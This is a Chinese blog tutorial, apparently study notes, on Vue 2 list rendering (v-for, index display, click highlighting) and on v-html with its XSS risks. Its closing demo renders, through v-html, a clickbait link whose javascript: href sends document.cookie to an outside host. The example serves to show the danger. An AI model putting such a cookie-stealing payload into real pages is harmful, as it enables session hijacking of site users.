Vue 响应式渲染 - 列表布局和v-html

最新推荐文章于 2025-04-24 11:55:09 发布

JSON_L

最新推荐文章于 2025-04-24 11:55:09 发布

阅读量1.1k

点赞数 6

分类专栏：前端 # Vue 文章标签： vue.js html 前端

本文链接：https://blog.csdn.net/json_ligege/article/details/145388324

版权

前端同时被 2 个专栏收录

52 篇文章

订阅专栏

Vue

32 篇文章

订阅专栏

Vue 渐进式JavaScript 框架基于Vue2的学习笔记 - Vue 响应式渲染 - 列表布局和v-html

列表布局

简单渲染列表

Data中设置状态，是一个数组格式的默认信息。

然后设置v-for循环渲染ul的li元素。

示例如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../lib/vue.js"></script>
</head>
<body>
<div id="box">
    <ul>
        <li v-for="item in datalist">{
  
  {item}}</li>
    </ul>
</div>
<script>
    new Vue({
        el: "#box", // element
        data: {
            datalist:["zhangsan", "lisi", "wangwu", "xiaoming"]
        },
        methods: {}
    })
</script>
</body>
</html>

效果如下：

显示索引值

显示列表数据的索引值。

示例如下：

<ul>
    <li v-for="(item, index) in datalist">
        {
  
  {item}}--{
  
  {index}}
    </li>
</ul>

效果如下：

点击变色

创建一个列表，点击哪一个行，哪一行显示选中效果。

示例如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <style>
        .active {
            background: red;
        }
    </style>
    <script src="../lib/vue.js"></script>
</head>
<body>
<div id="box">
    <ul>
        <li v-for="(item, index) in datalist" :class="current === index ? 'active': ''"
            @click="handleClick(index)">
            {
  
  {item}}
        </li>
    </ul>
</div>
<script>
    new Vue({
        el: "#box", // element
        data: {
            current: 0,
            datalist: ['面朝大海，春暖花开', '从明天起，做一个幸福的人', '喂马、劈柴，周游世界'],
        },
        methods: {
            handleClick(index) {
                this.current = index
            }
        }
    })
</script>
</body>
</html>

实现效果：

V-html

作用

更新元素的innerHTML。

注意

内容按普通 HTML插入。不会作为 Vue 模板进行编译。如果试图使用 v-html 组合模板，可以重新考虑是否通过使用组件来替代。

在网站上动态渲染任意 HTML 是非常危险的，因为容易导致 xss 攻击。

在可信内容上，不用在用户提交的内容上。

采用策略

使用V-html 需防止XSS,CSRF

前端过滤

后台转义

给cookie加上属性httponly

应用

模拟ajax请求后端数据后，使用vue解析和v-html解析展示不同效果。

示例如下：

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <script src="../lib/vue.js"></script>
</head>
<body>
<div id="box">
    <div>{
  
  {mydanger}}</div>
    <div v-html="mydanger"></div>
    <button @click="handleAjax()">请求</button>
</div>
<script>
    new Vue({
        el: "#box", // element
        data: {
            mydanger: '',
        },
        methods: {
            handleAjax() {
                console.log('点击了按钮')
                // 此处为请求后端获取数据
                this.mydanger = "<a href=javascript:location.href='http://www.baidu.com?cookie='+document.cookie>震惊!!!点击查看</a>"
            }
        }
    })
</script>
</body>
</html>

效果如下：